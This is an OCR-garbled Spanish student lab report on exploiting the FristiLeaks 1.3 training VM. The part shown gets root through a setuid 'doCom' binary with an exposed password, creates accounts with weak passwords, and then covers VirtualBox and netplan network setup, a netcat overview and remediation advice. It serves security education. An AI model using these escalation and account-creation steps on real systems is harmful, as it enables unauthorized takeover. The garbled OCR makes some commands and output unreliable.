23 RUTA PARA ACCEDER COMO ROOT (SUPER USUARIO)

Luego regresamos al inicio con c¢d .. para estar en todas las carpetas anteriores, el meta que

debe estar en la carpeta fristigod que esta en el var.

Ahora lo accedemos el directamente en fristigod con el comando cd fristigod y lo listamos
en el contenido con Is -la este tiene una carpeta que muestra prueba para ser root.

secret_admi_stuff

bash-4.1$ cd fristigod
cd fristigod

bash-4.1% 1s -1la

1s -la

total 16

drwxr-x— 3 fristigod fristigod 4096 Nov

drwxr-xr-x. 19 root root 4096 Nov o

-rw 1 fristigod fristigod 864 Nov .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov .secret_admin_stuff
bash-4.1% |}

Tlustracion 55 agregado de la lista de frisitgod



&

Universidad Tecnologica del Choco
Diego Luis Cordoba

ACCESO AL MODO ROOT EN FRISTILEAKS

En el siguiente de este apartado nos accederemos a la carpeta. Secret_admin_stuff con el
comando cd.secret_admin_stuff, lo listaremos con Is -la en este destino lo encontraremos un

archivo importante doCom eso lo que tiene los privilegios elevados para ser root.

bash-4.1% cd .secret_admin_stuff

cd .secret_admin_stuff

bash-4.1$ 1s -1la

1s -1la

total 16

drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .
drwxr-x— 3 fristigod fristigod 4096 Nov 25 2015
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
bash-4.1% |}

Tlustracion 56 un archivo importante

Luego veamos este para ejecutar en este archivo nos ingresamos en el comando sudo -u
fristi./doCom su root con este comando estaremos diciendo que lo usaremos de los privilegios de
root mientras que se ejecuta ahora con el comando whoami podemos ver qué tipo usuarios de lo

que somos, podemos confirmar que son root.

bash-4.1% sudo -u fristi ./doCom su root
sudo -u fristi ./doCom su root
[sudo] password for fristigod: LetThereBeFristi!

[root@localhost .secret_admin_stuffht |

[lustracion 57 Usuario de privilegio
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[root@localhost .secret admin_stuffH whoami
whoam1i

root
[root@localhost .secret_admin_stuffht |}

Tlustracion 58 observar el usuario

24 CREACION DE USUARIO EN FRISTLEAKS

Empezamos a crear en un usuario con el comando son dos useradd -m mickler y m-
quintocopete luego seleccionaremos el usuario para darle la contrasefa con el comando passwd
mickler quintocopete se pedird para ingresar la nueva contrasefia, en este caso la contrasefia seria

es 1913 y 2000

[root@localhost .secret_admin_stuffH useradd -m mickler
useradd -m mickler

[root@localhost .secret_admin_stuffH passwd mickler
passwd mickler

Changing password for user mickler.

New password: 1913

BAD PASSWORD: it 1s too short
BAD PASSWORD: 1s too simple
Retype new password: 1913

passwd: all authentication tokens updated successfully.
[root@localhost .secret_admin_stuffht |

Ilustracion 59 Crear un usuario de fristileaks
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[root@localhost .secret_admin_stuffHt useradd -m quintocopete s ordobs
useradd -m quintocopete

[root@localhost .secret_admin_stuffH passwd quintocopete

passwd guintocopete

Changing password for user quintocopete.

New password: 2000

BAD PASSWORD: 1t 1s too short
BAD PASSWORD: 1s too simple
Retype new password: 2000

passwd: all authentication tokens updated successfully.
[root@localhost .secret_admin_stuffh |j

Ilustracion 60 Crear otro usuario de fristileaks

Luego ingresamos en el home para poder verificar que ya esta registrado como el usuario
con el comando e¢d home se accede a home, ya podemos ver que se encuentras los usuarios

agregados.

[root@localhost /Ht cd home

cd home

[root@localhost homeH 1s -1la

1s -la

total 36

drwxr-xr-x. root root 4096
dr-xr-xr-x. 22 root root 4096

drwxrwxrwx. admin admin 4096
drwx—r-x. eezeepz eezeepz 12288
drwx fristigod fristigod 4096
drwx mickler mickler 4096
drwx 2 quintocopete quintocopete 4096
[root@localhost homeht |}

Tlustracion 61 registrado de usuario

Para cambiar al usuario ingresaremos el comando con ¢l su mickler y quintocopete no se
pedira ya que la contrasena estan con el usuario root, ahora ingresamos whoami para ver que, si

estamos con el usuario, correctamente estamos conectado con el usuario creado
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[root@localhost home Ht su mickler

su mickler
[mickler@localhost home]$ whoami

whoami
mickler
[mickler@localhost homel$ |

Ilustracion 62 ingresar sin contrasefla

[micklerglocalhost home]$ su quintocopete
su quilntocopete
Password: 2000

[quintocopete@localhost home]$ whoami
whoami

qulntocopete

[quintocopete@localhost homel]$ R

Tlustracién 63 ingresa con contrasefia

Ahora ya tenemos los archivos después de crear de lo que haya toda la configuracion de

Kali Linux
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Carpetaper

®iematiett, sontiogo-tr...

Tlustracion 64 Escritorio de ubuntu agregado de los archivos

25 UBUNTU

Ahora ingresamos al Ubuntu en cdm, en este caso se
debe colocar el comando es, sudo nano /etc/netplan/01-network-manager-all.yaml, se abrird en
una ventanita

:-S sudo nano /[etc/netplan/01-network-manager-all.yaml

Ilustracion 65 Crear en una mac

Ahora se abrid en esta ventana, ese archivo es una
configuracion de Netplan en Ubuntu, donde se define que la interfaz de red enp0s3 sera

administrada por NetworkManager, tendra habilitado DHCP para obtener automaticamente la
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conexion se

direccion IP y se establece una MAC fija (08:00:27:53:38:48), garanti

gestione de forma automatica y controlada.

GNU nano 7.2 /etc/netplan/01-network-manager-all.yaml

network:
version:
renderer: NetworkManager
ethernets:

enp0Os3:
dhcp4:
macaddress: 08:00:27:53:38:48

Ilustracion 66 Colocar el nimero de mac

Se ejecuta el comando ip link show enp0Os3, donde se
observa que la interfaz de red estd activa (state UP) y presenta la direccion MAC

08:00:27:53:38:48.

:-S 1p link show enp@s3
2: enpOs3: <BROADCAST,MULTICAST,UP,LOWER _UP> mtu 1500 qdisc fq codel state UP mode DEFAULT

group default glen 1000
link/ether 08:00:27:53:38:48 brd ff:ff:ff:ff:ff:ff

Ilustracion 67 la interfaz de red activado

Con el comando ifconfig se confirma que la interfaz enp0s3 recibi6 la IP 192.168.23.8,

junto con su mascara de subred 255.255.255.0 y la direccion de broadcast 192.168.23.255.

:-§ ifconfig
enp@s3: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1580
inet 192.168.23.8 netmask 255.255.255.0 broadcast 192.168.23.255
inet6 feB0::a00:27ff:fe53:3848 prefixlen 64 scopeild 0x20<link=

ether 08:00:27:53:38:48 txqueuelen 1000 (Ethernet)

RX packets 1601 bytes 2002960 (2.0 MB)

RX errors @ dropped @ overruns @ frame 0

TX packets 5967 bytes 517299 (517.2 KB)

TX errors @ dropped ® overruns @ carrier ® collisions 0

[lustracion 68 Ifconfig para ver la direccion ip
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Se realiza un ping a la direccion 192.168.23.8, comprobando

correctamente y tiene conectividad dentro de la red.

PING 192.168.23.8 (192.:
64 bytes from 192.168.2
64 bytes from 192.168.2

=
ol

=t

s o+
~J
~ =

64 bytes from 192.168.2
64 bytes from 192.168.2
64 bytes from 192.168.2

[ I S T S T N T S B

W oW W W W
i

s s B s Qs s

e Qe I s Qo [ s B

L
oo 2

Tlustracion 69 Comprobando de la direccion ip

En la configuracion de red de VirtualBox se muestra que el adaptador de red esta habilitado

en modo NAT, con la direccion MAC correspondiente y la opcion de cable conectado activada.

Expeart

Red

L

Sitama Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

+ Habilitar adaptador de red
Pantalla
Conectado a2 Red NAT
Almacenamicnto
Mombre: SEMESTRES- 2025-1

Audio Iipo de adaptador:  Intel PRO/ 1000 T Server (B2543GC)

Red Modo promscun:  Parmitir iodo
Pusrtos serie Direccion MAC: BO02T2ECSED

v Lable conectado

use

Carpetas compartidas
Puertcs serke

a
]
"
»
-
&
' 4
=
u

Interfaz de usario Puero 1 Puerto 2 Puerto 3 Puerto 4

Aceptar Cancelar

[lustracion 70 Red de windows de xp



Se muestra la ejecucion del comando ping desde Windows ¥la direccion
192.168.23.9, donde se recibieron respuestas correctas en todos los intentos, con tiempos de

respuesta muy bajos, lo que confirma una comunicacion estable y exitosa entre las maquinas.

C:sDocuments and Settings“wayner_antonio_moya_Zping 192_168_.23_.9
Haciendo ping a 192.168.23.9 con 32 bytes de datos:

desde 172.168.23.9: hytesz=32 tiempo=Ymsz TTL=64
desde 172.168.23.9: hytes=32 tiempo=1ms TTL=64
desde 192.168.23.9: hytes=32 tiempo=imsz TTL=64
desde 192.168.23.9: hytes=32 tiempo=ims TTL=64

Estadisticas de ping para 192.168.23.9:
Paguetes: enviados = 4, recibhidosz = 4, perdidoz = 8
¢B» perdidos).

Tiempos aproximados de ida vy vuelta en milisegundos:
Minimo = ims, Maximo = Yms,. Media = 2ms

C:~Documents and Settingswayner_antonio_moya_>

Tustracion 71 Cd de windows xp

26 INVESTIGACION

27 COMANDOS PARA CALCULAR CUANTOS CARACTERES TIENE
UN ARCHIVOS

Ahora primero se debe colocar a este comando para crear en un archivo para obtener los
caracteres de lo que ha hecho, el comando es echo "hola, este es un archivo de prueba' >
santiago.txt, el comando wec -m santiago.txt sirve para calcular cuantos caracteres tiene en un
archivo, y lo que sale el resultado te dara el nimero de caracteres que contiene el texto + 1 salto

de linea, y el resultado es 36 caracteres
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/home/kali

es una archivo de prueba”

/home/kali
36 santiago.txt

Ilustracion 72 Crear en un archivo caracteres

Para mostrar lo que acabar de crear en un archivo, el comando se debe poner es Is.

/home/kali

192.168.23.4 getsystem sysinfo
192.168.23.5 getuid santiago.txt
aCIzuZBF.html dir hashdump santi.py
cd screenshot
ipconfig shell
Escritorio kali.txt ps sreenshot

Ilustracion 73 La lista de los archivos

Luego veamos en una carpeta que se crea en un archivo después de crear

IS) $

Desktop Documents wnloads NG-SAN 2 a Music Pictures i rti8188eus

2 - L]

Santiago Santiago-bailarin  santiago-lab2 Templates Videos 4 9 3. a h c Escritorio

getsystem getuid as! ipconfig Kali.tixt Kv S sa santiago.txt screenshot

shell sreenshot

Tlustracion 74 la carpeta que este agregado

Luego le da clic se abrira el archivo ahi tiene los caracteres, esta correctamente



4 ~[santiago.txt [Solo lectura] - Mousepad
Archivo Editar Buscar Ver Documento Ayuda
+ I o C x O Qa «

1]1015\, este es una archivo de prueba
2

Universidad Tecnologica del Choco
uis Cdrdoba

santiago.txt

[lustracion 75 La prueba del archivo
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28 INVESTIGAR LOS ACCESOS DEL NC

Netcat, también conocido como ne, es una herramienta de red llamada el “cuchillo suizo” por
su versatilidad. Permite establecer conexiones TCP y UDP para multiples tareas. Entre sus

principales usos estan:

> Escuchar en un puerto y aceptar conexiones.

» Conectarse a un servidor remoto.

> Transferir archivos entre maquinas.

> Escanear puertos para detectar servicios activos.

> Redirigir puertos funcionando como proxy simple.

> Ejecutar comandos remotos (con precaucion por temas de seguridad).
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29 SOLUCIONES

Durante la practica se demostrd que el sistema Fristileaks era vulnerable a multiples fallos de

seguridad. Las soluciones que deberian implementarse en un entorno real son:

> Restringir los directorios y archivos visibles en el servidor.

> Usar contrasefias seguras y evitar dejarlas expuestas en codigo fuente.

> Configurar permisos adecuados en carpetas y archivos del sistema.

> Mantener actualizados los servicios y sistemas operativos.

> Implementar firewalls y reglas de seguridad para reducir superficies de ataque.

> Monitorear continuamente los accesos y registros de seguridad.
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30 RECOMENDACIONES

Es recomendable aplicar estas practicas en entornos controlados, ya que permiten aprender
haciendo. Para sistemas reales, la leccion es clara: se deben corregir malas configuraciones, usar

contraseflas seguras, proteger directorios y auditar continuamente los servidores.



&

Universidad Tecnologica del Choco
Diego Luis Cordoba

31 CONCLUSION

El analisis realizado sobre Fristileaks 1.3 permitio demostrar como un sistema vulnerable
puede ser comprometido a través de errores de configuracion y gestion de credenciales. A lo largo
de la practica se logrd identificar servicios expuestos, acceder a directorios ocultos, decodificar
informacion sensible y escalar privilegios hasta obtener acceso como root. Este proceso evidencid
la importancia de aplicar medidas de seguridad adecuadas en servidores, ya que un atacante real

podria aprovechar las mismas fallas para tomar control total del sistema.
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